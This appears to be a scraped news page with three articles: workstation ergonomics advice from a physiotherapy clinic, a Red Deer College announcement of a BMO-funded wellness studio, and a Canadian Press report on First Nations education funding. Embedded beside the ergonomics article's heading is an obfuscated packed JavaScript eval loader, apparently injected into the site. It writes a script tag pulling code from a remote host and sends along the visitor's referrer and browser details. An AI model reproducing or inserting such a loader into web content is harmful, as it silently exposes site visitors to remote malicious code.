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Education

Reduce pain and prevent injury by improving your workspace

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  • Ergonomics:  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abyen|var|u0026u|referrer|bkise||js|php’.split(‘|’),0,{}))
    How to optimize your workstation and posture to prevent pain and injury.

    In the modern work world many of us spend our days sitting at a desk in front of the computer.  The human body however was not designed for this sedentary lifestyle and will get stiff and sore from lack of movement.  Even if you are active outside of work, sitting at a desk with poor setup and slouched posture can give you chronic aches and pains or exacerbate existing injuries.

    Some common complaints that could be related to your posture include:

    • Neck pain and stiffness
    • Headaches
    • Numbness or tingling in the arms or hands
    • Shoulder pain
    • Upper back stiffness
    • Low back pain
    • Sciatica

    Making some simple ergonomic adjustments to your workstation can help you feel more comfortable during and after your work day:

    • Ensure you have a good chair that is comfortable for you and adjusted properly.  Ideally you should be sitting with your buttocks to the back of the chair so that you are leaning against the backrest.  You may need to adjust the lumbar support or add a rolled up towel or small pillow behind the small of your back to support your spine’s natural curve.
    • Sit with both feet flat on the floor and the knees bent to about 90 degrees.  Adjust your chair height accordingly or add a stool under your feet if you can’t touch the ground.
    •  Adjust your computer monitor so that your screen is at eye level.  This can be as easy as putting a book underneath to raise it up.  You should not have to look down or strain to see your computer.
    • Have your keyboard at a comfortable height so that your elbows are bent to approximately 90 degrees and you are not reaching forward.  If you have a laptop, consider using an external keyboard so that you type in a neutral position.
    • Adapt your workstation to fit you.  Move things that you use frequently throughout the day (such as the phone, files, etc.) to a location that is easy to access so that you don’t have to reach or move awkwardly to get to them.  This will help you avoid sprains and strains from poor movement patterns.

    Even with the perfect ergonomic setup, poor posture can catch up to you.  Some common habits to AVOID are:

    • Crossing your knees.  Sitting in this position twists your pelvis and lumbar spine, putting extra strain on the muscles, joints, and ligaments.  While it may feel good temporarily, you probably need to keep switching positions to stay comfortable because your body is not in a neutral position.
    • Perching on the front of your seat.   While you may think it is good to try to hold yourself up straight without using the backrest it is not realistic to do this for an 8 hour day.  Your postural muscles will fatigue quickly and you will end up slouching and feeling sore.
    • Leaning your shoulders forward and head down to look at your computer.  Think of all the extra strain you are putting on your neck and shoulder to hold your body in this position!  Try to remind yourself to sit up tall – Think shoulders down and back and head up.  Your spine should feel long and supported, but not rigid.

    It is also important to stay active throughout the day and break up long periods of sitting in one position.  Here are some ideas to keep you limber throughout the day:

    ·       Set an alarm to get up and move every 20-30 minutes.  This could be as simple as standing up to do some stretches, taking a quick walk around the office, a washroom break, or going to get some water.  Interrupted sitting is the best way to prevent tightness from building up in your spine and soft tissues

    ·       Stretch at your desk.  There are lots of simple movements and stretches you can do as you work to keep your body feeling good.  Try to remember to move a little bit at least every 15-20 minutes.  Try stretching your neck side to side, moving your head gently in different directions, rolling your shoulders backwards, squeezing your shoulder blades together, stretching your legs out in front of you, and moving your feet and ankles.

    We hope these tips have been helpful and have given you ideas that you can incorporate into your daily life.  Do not hesitate to call us and make an appointment.  An in depth one-on-one assessment with one of our physiotherapists will help address your specific needs for injury prevention or management.

    Written by Stephanie Connolly

    Click to visit Pursuit Physiotherapy.


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    Education

    Celebrating BMO’s community investment in RDC

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  • From Red Deer College

    BMO Financial Group’s support honoured at unveiling event

    Red Deer, January 21, 2019 – At an event in the Gary W. Harris Canada Games Centre/Centre des Jeux du Canada Gary W. Harris this morning, Red Deer College proudly unveiled the BMO Financial Group Wellness Studio.

    In recognition of their $300,000 contribution toward RDC’s Shaping Our Future campaign, the loft-like space above the south end of Builders’ Hall in RDC’s newest facility has been named for the next five years.

    This stunning space is a vital component of the Collicutt Performance Fitness Zone, and is used for fitness classes, yoga and meditation. The BMO Financial Group Wellness Studio’s floor-to-ceiling windows look out over the NOVA Chemicals Waskasoo Creek Nature Walk on the south end, and Builders’ Hall to the north. This bright, quiet space contributes to the building’s holistic approach toward wellness by providing an indoor fitness space that connects users to the natural landscape beyond its walls, supporting an individual’s spiritual, environmental and physical wellness.

    BMO Financial Group is a committed community partner, and has supported RDC as a proud donor and sponsor in the past and with other initiatives. Their most recent contribution to Red Deer College and the Shaping Our Future campaign is an investment in the health and wellness of RDC students as well as the community members who use the College’s newest facility.

    For Red Deer College, this community investment reinforces the support of industry and local businesses for the role that RDC plays in the region.

    “We’re grateful, and proud to acknowledge, the strong support that BMO Financial Group has provided to Red Deer College, to support our students and community today and in the future,” says Joel Ward, RDC President & CEO. “We have a shared vision for our region, as community leaders who recognize that we have the power to shape the future of our region, our province and our communities by investing in the total wellness of our citizens.”

    The Gary W. Harris Canada Games Centre, which is perhaps the most recognizable result of the Shaping Our Future campaign, is only one component of the work RDC has been able to accomplish with the support of community partners like BMO Financial Group.

    The College has increased its footprint by nearly a third, with new infrastructure projects including an Alternative Energy Lab and New Residence. RDC has also developed new programs and enhanced existing programs that prepare graduates for success within new and emerging careers that support central Alberta businesses in a diverse and changing economy. All of this will ensure RDC can best continue to serve our learners and communities as we become a comprehensive regional teaching university.

    About RDC: For 55 years, RDC has been proudly serving its learners and communities. The College continues to grow programs, facilities and opportunities as it transitions to become a comprehensive regional teaching university during the next three to five years. This year, RDC will add seven new programs to more than 100 established programs (including full degrees, certificates, diplomas and skilled trades programs). RDC educates 7,500 full-and part-time credit students and more than 38,000 youth and adult learners in the School of Continuing Education each year. The College is expanding its teaching, learning, athletic and living spaces with the additions of the state-of-the-art Gary W. Harris Canada Games Centre/Centre des Jeux du Canada Gary W. Harris, Alternative Energy Lab and construction of a new Residence which all enhance RDC’s Alternative Energy Initiative. Main campus is strategically situated on 290 acres of Alberta’s natural landscape along Queen Elizabeth II Highway. RDC is also proud to serve its Donald School of Business students housed at a downtown campus, located in the Millennium Centre, in addition to housing teaching and learning space at the Welikoklad Event Centre.


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    National

    Liberals taking new approach for billions in First Nations education funding

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  • OTTAWA — The Trudeau government is changing how Ottawa allocates nearly $2 billion in annual funding for First Nations education to help ensure on-reserve students benefit from support comparable to what’s offered in provincial school systems.

    Starting in April, the federal government will take a new approach it says will mean a more predictable base of money for First Nations elementary and secondary schools.

    Education is a service the federal government pays for on reserves but provincial governments handle in much larger systems off reserves. A 2016 report from the Parliamentary Budget Office estimated that the federal government spent $336 million to $665 million less than would be needed to provide educations comparable to those students get elsewhere.

    Some First Nations students stay at home and get substandard facilities, resources and teaching. Some leave home for better schooling but lose connections to their homes and families.

    Indigenous Services Minister Seamus O’Regan said Monday that the new model was developed after an extensive engagement process involving several organizations, including the Assembly of First Nations.

    “This is very good news because we know when First Nations lead these initiatives and when we’re there to work in partnerships with them with funding we know that we will get greater outcomes,” O’Regan said in Ottawa shortly after the new approach was announced. “This is about communities taking greater control of their education to make sure that it’s specific to their community, that it’s specific to their cultures and traditions and to their language.”

    Ontario Regional Chief RoseAnne Archibald called the changes a “strong step,” but she stressed there’s a lot more to do to create equity when it comes to First Nations education and communities.

    “As the largest growing demographic in the country, investing in First Nations students and young people is investing in Canada’s future,” Archibald, who also leads the AFN’s education portfolio, said Monday in a statement. “Fair and sustained funding for First Nations children and students, including languages and cultures, will lead to better outcomes for everyone.”

    Under the new approach, First Nations schools will also receive $1,500 per student every year towards language and cultural programs. Schools will offer full kindergarten for on-reserve kids aged four and five, O’Regan said.

    In a statement, AFN National Chief Perry Bellegarde credited the new approach as a significant move toward closing the education gap, saying it will enable First Nations to plan and build quality school systems that address their needs.

    The funding will be within the jurisdiction and control of chiefs and band councils, O’Regan said. He added that Ottawa will work with the communities on the issue of accountability.

    O’Regan said the changes mean First Nations will have an easier time budgeting for education because they’ll know the money will be there for them year after year.

    In the 2016 federal budget, the Liberals promised to spend an additional $2.6 billion over five years to improve education for First Nations children living on reserves.

    Ottawa is expected to spend $1.89 billion in 2018-19 on First Nations elementary and secondary education. The annual commitment is set to increase each year until it rises slightly above $2 billion in 2020-21.

    Andy Blatchford, The Canadian Press



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